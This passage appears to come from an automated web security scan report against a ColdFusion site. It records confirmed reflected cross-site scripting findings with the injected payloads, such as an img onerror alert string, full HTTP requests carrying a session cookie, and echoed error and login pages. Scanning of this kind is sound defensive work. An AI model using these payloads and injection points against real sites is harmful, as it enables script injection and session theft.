<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/response.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:52 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /webservices/localeService.cfc

/webservices/localeService.cfc CONFIRMED

https://hourly.deploy.com/webservices/localeService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9)%..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
questionID	GET	3

Request

GET /webservices/localeService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&questionID=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/locale.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:53:24 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:53:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/localeService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/locale.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:53 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /CFIDE/componentutils/cfcexplorer.cfc/%22ns=%22alert(0x000ABD)

/CFIDE/componentutils/cfcexplorer.cfc/%22ns=%22alert(0x000ABD)

https://hourly.deploy.com/CFIDE/componentutils/cfcexplorer.cfc/%22ns=%22alert(0x000ABD)

Parameters

Parameter	Type	Value
method	GET	getcfcinhtml
name	GET	webservices.questionService
path	GET	/webservices/questionService.cfc/"ns="netsparker(0x000ABD)
URI-BASED	Raw URI	/"ns="alert(0x000ABD)

Request

GET /CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=webservices.questionService&path=/webservices/questionService.cfc/%22ns=%22netsparker(0x000ABD) HTTP/1.1
Referer: https://hourly.deploy.com/webservices/questionService.cfc?method=getQuestionObject&client_id=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:50:23 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_componentutils=;expires=Fri, 23-Jul-2010 16:50:23 GMT;path=/,CFAUTHORIZATION_componentutils=;expires=Fri, 23-Jul-2010 16:50:23 GMT;path=/
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:50:23 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Component Browser Login</title>

<style>
body, p, td {
font-family: Arial, Helvetica, sans-serif;
font-size: x-small; ! important;
}

.errorText {
color: #CC0000;
}

.successText {
color: #008800;
}

.loginWhiteText {
color: #FFFFFF;
font-weight: bold;
}

.loginInvalidText {
color: #CC0000;
font-weight: bold;
}

.loginCopyrightText {
color: #999999;
font-size: x-small;
}

a {
color: #003399;
text-decoration: none;
}

a:hover {
color: #008A00;
}

.iconLinkText {
color: #FFFFFF;
font-weight: bold;
font-size: x-small;
}

.leftMenuLinkText {
color: #6C7A83;
font-size: x-small;
}

.topMenuLinkText {
color: #000000;
font-size: x-small;
}

.menuCFAdminText {
color: #FFFFFF;
font-weight: bold;
font-size: x-small;
}

.menuHeaderText {
color: #0072AC;
font-weight: bold;
font-size: x-small;
}

.menuTD {
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: none;
border-bottom-style: solid;
border-left-style: none;
border-bottom-color: #CCCCCC;
}

h1 {
color: #000000;
font-weight: bold;
font-size: x-small;
margin-top: 5px;
margin-bottom: 5px;
}

.pageHeader {
color: #0072AC;
font-weight: bold;
font-size: medium; ! important;
margin-top: 5px;
margin-bottom: 5px;
}

.cellBlueSides {
border-right-width: 1px;
border-left-width: 1px;
border-right-style: solid;
border-left-style: solid;
border-right-color: #C1D9DB;
border-left-color: #C1D9DB;
}

.cellLeftBlueSide {
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
}

.cellRightAndBottomBlueSide {
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell3BlueSides {
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell4BlueSides {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D5E3E6;
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell2BlueSidesAndBlueBkgd {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
background-color: #E8F0F1;
}

.cellBlueTop {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #C1D9DB;
border-bottom-width: none;
border-bottom-style: none;
border-bottom-color: none;
}

.cellBlueBottom {
border-top-width: none;
border-top-style: none;
border-top-color: none;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #C1D9DB;
}

.cellBlueTopAndBottom {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #C1D9DB;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #C1D9DB;
}

.cellBordersBlue {
border: 1px solid #C1D9DB;
}

.cellGrayBottom {
border-top-width: none;
border-top-style: none;
border-top-color: none;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #E2E6E7;
}

.copyright {
color: #FFFFFF;
font-size: x-small;
}

.copyrightLink {
color: #FFFFCC;
font-size: x-small;
}
/*mnimer: added for the sanbox security formatting */
.color-title {background-color:888885;color:white;background-color:7A8FA4;}
.color-header {background-color:ddddd5;}
.color-buttons {background-color:ccccc5;}
.color-border {background-color:666666;}
.color-row {background-color:fffff5;}
.color-rowalert {background-color:ffddaa;}
.buttn,.buttnText {font-size:1em;font-family: tahoma,arial,Geneva,Helvetica,sans-serif;background-color:e0e0d5;}
</style>

<meta name="Author" content="Copyright 1996-2011 Macromedia Corp. All rights reserved.">
<script type="text/javascript" src="/CFIDE/scripts/cfform.js"></script><script type="text/javascript" src="/CFIDE/scripts/masks.js"></script><script type="text/javascript"></script></head>


<script language="JavaScript" type="text/javascript">

</script>
<body bgcolor="#6C7A83"
onload="changePage();document.forms.loginform.j_password.focus();">

<form name="loginform" action="/CFIDE/componentutils/cfcexplorer.cfc?NAME=webservices.questionService&METHOD=getcfcinhtml&PATH=/webservices/questionService.cfc/"ns="netsparker(0x000ABD)" method="POST" onsubmit="return _CF_checkloginform(this)">
<br />

<table width="600" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="12"><img src="../administrator/images/cap_content_white_main_top_left.gif" width="12" height="11"></td>
<td bgcolor="#FFFFFF"><img src="../administrator/images/spacer_10_x_10.gif" width="10" height="10"></td>
<td width="12"><img src="../administrator/images/cap_content_white_main_top_right.gif" width="12" height="11"></td>
</tr>
</table>

</td>
</tr>
<tr>
<td colspan="3" bgcolor="#FFFFFF" align="center">

<img src="../administrator/images/cflogo.gif" width="116" height="127">
<br /><br /><br />
<table width="100%" cellpadding="5">
<tr>
<td bgcolor="#F0F6F6" class="cellBlueTop" align="center">

<br>
<table width="400">
<tr>
<td>
<span class="loginCopyrightText">
Version: 7</strong><br />
Copyright (c) 1995-2005 Macromedia, Inc. All rights reserved
Macromedia, the Macromedia logo, Macromedia ColdFusion and ColdFusion are
trademarks or registered trademarks of Macromedia, Inc.
</span>
</td>
</tr>
</table>
<br>

</td>
</tr>
<tr>
<td align="center" bgcolor="#008CBE" class="loginWhiteText">
<center> Enter your RDS or Admin password below </center>
</th>
</tr>
<tr>
<td align="center" bgcolor="#F0F6F6" class="cellBlueBottom">

<input name="j_password_required" type="hidden" value="Password Required">
<input name="j_password" type="password" maxlength="100" size="15" class="label" id="admin_login" />
 

<input name="submit" type="submit" value="Login" class="buttn-fix">
</td>
</tr>

</table>

</td>
</tr>

<tr>
<td>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="12"><img src="../administrator/images/cap_content_white_main_bottom_left.gif" width="12" height="11"></td>
<td bgcolor="#FFFFFF"><img src="../administrator/images/spacer_10_x_10.gif" width="10" height="10"></td>
<td width="12"><img src="../administrator/images/cap_content_white_main_bottom_right.gif" width="12" height="11"></td>
</tr>
</table>

</td>
</tr>
</table>

</form>
</body>
</html>

- /CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000C97%2529)

/CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000C97%2529)

https://hourly.deploy.com/CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000..

Parameters

Parameter	Type	Value
method	GET	getcfcinhtml
name	GET	webservices.questionService
path	GET	/webservices/questionService.cfc/"ns="netsparker(0x000C97))
URI-BASED	Raw URI	/%22ns%3D%22netsparker%280x000C97%29)

Request

GET /CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=webservices.questionService&path=/webservices/questionService.cfc/%22ns=%22netsparker(0x000C97)) HTTP/1.1
Referer: https://hourly.deploy.com/webservices/questionService.cfc?method=getQuestionObject&client_id=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:51:38 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_componentutils=;expires=Fri, 23-Jul-2010 16:51:38 GMT;path=/,CFAUTHORIZATION_componentutils=;expires=Fri, 23-Jul-2010 16:51:38 GMT;path=/
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:51:38 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Component Browser Login</title>

<style>
body, p, td {
font-family: Arial, Helvetica, sans-serif;
font-size: x-small; ! important;
}

.errorText {
color: #CC0000;
}

.successText {
color: #008800;
}

.loginWhiteText {
color: #FFFFFF;
font-weight: bold;
}

.loginInvalidText {
color: #CC0000;
font-weight: bold;
}

.loginCopyrightText {
color: #999999;
font-size: x-small;
}

a {
color: #003399;
text-decoration: none;
}

a:hover {
color: #008A00;
}

.iconLinkText {
color: #FFFFFF;
font-weight: bold;
font-size: x-small;
}

.leftMenuLinkText {
color: #6C7A83;
font-size: x-small;
}

.topMenuLinkText {
color: #000000;
font-size: x-small;
}

.menuCFAdminText {
color: #FFFFFF;
font-weight: bold;
font-size: x-small;
}

.menuHeaderText {
color: #0072AC;
font-weight: bold;
font-size: x-small;
}

.menuTD {
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: none;
border-bottom-style: solid;
border-left-style: none;
border-bottom-color: #CCCCCC;
}

h1 {
color: #000000;
font-weight: bold;
font-size: x-small;
margin-top: 5px;
margin-bottom: 5px;
}

.pageHeader {
color: #0072AC;
font-weight: bold;
font-size: medium; ! important;
margin-top: 5px;
margin-bottom: 5px;
}

.cellBlueSides {
border-right-width: 1px;
border-left-width: 1px;
border-right-style: solid;
border-left-style: solid;
border-right-color: #C1D9DB;
border-left-color: #C1D9DB;
}

.cellLeftBlueSide {
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
}

.cellRightAndBottomBlueSide {
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell3BlueSides {
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell4BlueSides {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D5E3E6;
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell2BlueSidesAndBlueBkgd {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
background-color: #E8F0F1;
}

.cellBlueTop {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #C1D9DB;
border-bottom-width: none;
border-bottom-style: none;
border-bottom-color: none;
}

.cellBlueBottom {
border-top-width: none;
border-top-style: none;
border-top-color: none;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #C1D9DB;
}

.cellBlueTopAndBottom {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #C1D9DB;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #C1D9DB;
}

.cellBordersBlue {
border: 1px solid #C1D9DB;
}

.cellGrayBottom {
border-top-width: none;
border-top-style: none;
border-top-color: none;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #E2E6E7;
}

.copyright {
color: #FFFFFF;
font-size: x-small;
}

.copyrightLink {
color: #FFFFCC;
font-size: x-small;
}
/*mnimer: added for the sanbox security formatting */
.color-title {background-color:888885;color:white;background-color:7A8FA4;}
.color-header {background-color:ddddd5;}
.color-buttons {background-color:ccccc5;}
.color-border {background-color:666666;}
.color-row {background-color:fffff5;}
.color-rowalert {background-color:ffddaa;}
.buttn,.buttnText {font-size:1em;font-family: tahoma,arial,Geneva,Helvetica,sans-serif;background-color:e0e0d5;}
</style>

<meta name="Author" content="Copyright 1996-2011 Macromedia Corp. All rights reserved.">
<script type="text/javascript" src="/CFIDE/scripts/cfform.js"></script><script type="text/javascript" src="/CFIDE/scripts/masks.js"></script><script type="text/javascript"></script></head>


<script language="JavaScript" type="text/javascript">

</script>
<body bgcolor="#6C7A83"
onload="changePage();document.forms.loginform.j_password.focus();">

<form name="loginform" action="/CFIDE/componentutils/cfcexplorer.cfc?NAME=webservices.questionService&PATH=/webservices/questionService.cfc/"ns="netsparker(0x000C97))&METHOD=getcfcinhtml" method="POST" onsubmit="return _CF_checkloginform(this)">
<br />

<table width="600" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="12"><img src="../administrator/images/cap_content_white_main_top_left.gif" width="12" height="11"></td>
<td bgcolor="#FFFFFF"><img src="../administrator/images/spacer_10_x_10.gif" width="10" height="10"></td>
<td width="12"><img src="../administrator/images/cap_content_white_main_top_right.gif" width="12" height="11"></td>
</tr>
</table>

</td>
</tr>
<tr>
<td colspan="3" bgcolor="#FFFFFF" align="center">

<img src="../administrator/images/cflogo.gif" width="116" height="127">
<br /><br /><br />
<table width="100%" cellpadding="5">
<tr>
<td bgcolor="#F0F6F6" class="cellBlueTop" align="center">

<br>
<table width="400">
<tr>
<td>
<span class="loginCopyrightText">
Version: 7</strong><br />
Copyright (c) 1995-2005 Macromedia, Inc. All rights reserved
Macromedia, the Macromedia logo, Macromedia ColdFusion and ColdFusion are
trademarks or registered trademarks of Macromedia, Inc.
</span>
</td>
</tr>
</table>
<br>

</td>
</tr>
<tr>
<td align="center" bgcolor="#008CBE" class="loginWhiteText">
<center> Enter your RDS or Admin password below </center>
</th>
</tr>
<tr>
<td align="center" bgcolor="#F0F6F6" class="cellBlueBottom">

<input name="j_password_required" type="hidden" value="Password Required">
<input name="j_password" type="password" maxlength="100" size="15" class="label" id="admin_login" />
 

<input name="submit" type="submit" value="Login" class="buttn-fix">
</td>
</tr>

</table>

</td>
</tr>

<tr>
<td>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="12"><img src="../administrator/images/cap_content_white_main_bottom_left.gif" width="12" height="11"></td>
<td bgcolor="#FFFFFF"><img src="../administrator/images/spacer_10_x_10.gif" width="10" height="10"></td>
<td width="12"><img src="../administrator/images/cap_content_white_main_bottom_right.gif" width="12" height="11"></td>
</tr>
</table>

</td>
</tr>
</table>

</form>
</body>
</html>

- /CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000C98%2529)

/CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000C98%2529)

https://hourly.deploy.com/CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000..

Parameters

Parameter	Type	Value
method	GET	getcfcinhtml
name	GET	webservices.responseService
path	GET	/webservices/responseService.cfc/"ns="netsparker(0x000C98))
URI-BASED	Raw URI	/%22ns%3D%22netsparker%280x000C98%29)

Request

GET /CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=webservices.responseService&path=/webservices/responseService.cfc/%22ns=%22netsparker(0x000C98)) HTTP/1.1
Referer: https://hourly.deploy.com/webservices/responseService.cfc?method=insertResponseServiceData&question_id=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:51:41 GMT
Server: Apache/2.0.46 (Red Hat)
Set-Cookie: CFAUTHORIZATION_componentutils=;expires=Fri, 23-Jul-2010 16:51:41 GMT;path=/,CFAUTHORIZATION_componentutils=;expires=Fri, 23-Jul-2010 16:51:41 GMT;path=/
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:51:41 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Component Browser Login</title>

<style>
body, p, td {
font-family: Arial, Helvetica, sans-serif;
font-size: x-small; ! important;
}

.errorText {
color: #CC0000;
}

.successText {
color: #008800;
}

.loginWhiteText {
color: #FFFFFF;
font-weight: bold;
}

.loginInvalidText {
color: #CC0000;
font-weight: bold;
}

.loginCopyrightText {
color: #999999;
font-size: x-small;
}

a {
color: #003399;
text-decoration: none;
}

a:hover {
color: #008A00;
}

.iconLinkText {
color: #FFFFFF;
font-weight: bold;
font-size: x-small;
}

.leftMenuLinkText {
color: #6C7A83;
font-size: x-small;
}

.topMenuLinkText {
color: #000000;
font-size: x-small;
}

.menuCFAdminText {
color: #FFFFFF;
font-weight: bold;
font-size: x-small;
}

.menuHeaderText {
color: #0072AC;
font-weight: bold;
font-size: x-small;
}

.menuTD {
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: none;
border-bottom-style: solid;
border-left-style: none;
border-bottom-color: #CCCCCC;
}

h1 {
color: #000000;
font-weight: bold;
font-size: x-small;
margin-top: 5px;
margin-bottom: 5px;
}

.pageHeader {
color: #0072AC;
font-weight: bold;
font-size: medium; ! important;
margin-top: 5px;
margin-bottom: 5px;
}

.cellBlueSides {
border-right-width: 1px;
border-left-width: 1px;
border-right-style: solid;
border-left-style: solid;
border-right-color: #C1D9DB;
border-left-color: #C1D9DB;
}

.cellLeftBlueSide {
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
}

.cellRightAndBottomBlueSide {
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell3BlueSides {
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell4BlueSides {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D5E3E6;
border-left-width: 1px;
border-left-style: solid;
border-left-color: #D5E3E6;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
}

.cell2BlueSidesAndBlueBkgd {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D5E3E6;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #D5E3E6;
background-color: #E8F0F1;
}

.cellBlueTop {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #C1D9DB;
border-bottom-width: none;
border-bottom-style: none;
border-bottom-color: none;
}

.cellBlueBottom {
border-top-width: none;
border-top-style: none;
border-top-color: none;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #C1D9DB;
}

.cellBlueTopAndBottom {
border-top-width: 1px;
border-top-style: solid;
border-top-color: #C1D9DB;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #C1D9DB;
}

.cellBordersBlue {
border: 1px solid #C1D9DB;
}

.cellGrayBottom {
border-top-width: none;
border-top-style: none;
border-top-color: none;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #E2E6E7;
}

.copyright {
color: #FFFFFF;
font-size: x-small;
}

.copyrightLink {
color: #FFFFCC;
font-size: x-small;
}
/*mnimer: added for the sanbox security formatting */
.color-title {background-color:888885;color:white;background-color:7A8FA4;}
.color-header {background-color:ddddd5;}
.color-buttons {background-color:ccccc5;}
.color-border {background-color:666666;}
.color-row {background-color:fffff5;}
.color-rowalert {background-color:ffddaa;}
.buttn,.buttnText {font-size:1em;font-family: tahoma,arial,Geneva,Helvetica,sans-serif;background-color:e0e0d5;}
</style>

<meta name="Author" content="Copyright 1996-2011 Macromedia Corp. All rights reserved.">
<script type="text/javascript" src="/CFIDE/scripts/cfform.js"></script><script type="text/javascript" src="/CFIDE/scripts/masks.js"></script><script type="text/javascript"></script></head>


<script language="JavaScript" type="text/javascript">

</script>
<body bgcolor="#6C7A83"
onload="changePage();document.forms.loginform.j_password.focus();">

<form name="loginform" action="/CFIDE/componentutils/cfcexplorer.cfc?METHOD=getcfcinhtml&NAME=webservices.responseService&PATH=/webservices/responseService.cfc/"ns="netsparker(0x000C98))" method="POST" onsubmit="return _CF_checkloginform(this)">
<br />

<table width="600" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="12"><img src="../administrator/images/cap_content_white_main_top_left.gif" width="12" height="11"></td>
<td bgcolor="#FFFFFF"><img src="../administrator/images/spacer_10_x_10.gif" width="10" height="10"></td>
<td width="12"><img src="../administrator/images/cap_content_white_main_top_right.gif" width="12" height="11"></td>
</tr>
</table>

</td>
</tr>
<tr>
<td colspan="3" bgcolor="#FFFFFF" align="center">

<img src="../administrator/images/cflogo.gif" width="116" height="127">
<br /><br /><br />
<table width="100%" cellpadding="5">
<tr>
<td bgcolor="#F0F6F6" class="cellBlueTop" align="center">

<br>
<table width="400">
<tr>
<td>
<span class="loginCopyrightText">
Version: 7</strong><br />
Copyright (c) 1995-2005 Macromedia, Inc. All rights reserved
Macromedia, the Macromedia logo, Macromedia ColdFusion and ColdFusion are
trademarks or registered trademarks of Macromedia, Inc.
</span>
</td>
</tr>
</table>
<br>

</td>
</tr>
<tr>
<td align="center" bgcolor="#008CBE" class="loginWhiteText">
<center> Enter your RDS or Admin password below </center>
</th>
</tr>
<tr>
<td align="center" bgcolor="#F0F6F6" class="cellBlueBottom">

<input name="j_password_required" type="hidden" value="Password Required">
<input name="j_password" type="password" maxlength="100" size="15" class="label" id="admin_login" />
 

<input name="submit" type="submit" value="Login" class="buttn-fix">
</td>
</tr>

</table>

</td>
</tr>

<tr>
<td>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="12"><img src="../administrator/images/cap_content_white_main_bottom_left.gif" width="12" height="11"></td>
<td bgcolor="#FFFFFF"><img src="../administrator/images/spacer_10_x_10.gif" width="10" height="10"></td>
<td width="12"><img src="../administrator/images/cap_content_white_main_bottom_right.gif" width="12" height="11"></td>
</tr>
</table>

</td>
</tr>
</table>

</form>
</body>
</html>

- /CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000C99%2529)

/CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000C99%2529)

https://hourly.deploy.com/CFIDE/componentutils/cfcexplorer.cfc/%2522ns%253D%2522netsparker%25280x000..

Parameters

Parameter	Type	Value
method	GET	getcfcinhtml
name	GET	webservices.localeService
path	GET	/webservices/localeService.cfc/"ns="netsparker(0x000C99))
URI-BASED	Raw URI	/%22ns%3D%22netsparker%280x000C99%29)

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:44:12 GMT
Server: Apache/2.0.46 (Red Hat)
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:44:12 GMT
Content-Length: 563
Connection: close
Content-Type: text/html; charset=UTF-8

